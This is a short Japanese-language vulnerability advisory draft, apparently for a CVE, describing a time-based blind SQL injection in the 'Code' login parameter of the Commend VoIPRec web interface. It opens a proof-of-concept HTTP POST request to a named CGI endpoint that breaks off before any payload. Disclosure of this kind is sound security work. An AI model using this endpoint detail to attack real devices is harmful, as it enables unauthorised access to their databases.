commend_sqli

CVE-2023-XXXXX 推奨される説明 G8-VOIPREC Commend VoIPRec のWebインターフェースは、ログインページの "Code" パラメータにおいて、時間ベースのブラインドSQLインジェクションに対して脆弱です。 追加情報 PoC: POST /cgi-bin/SecComRecX.cgi HTTP/1.1 Host: 192.168.88.10 User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: application/json,...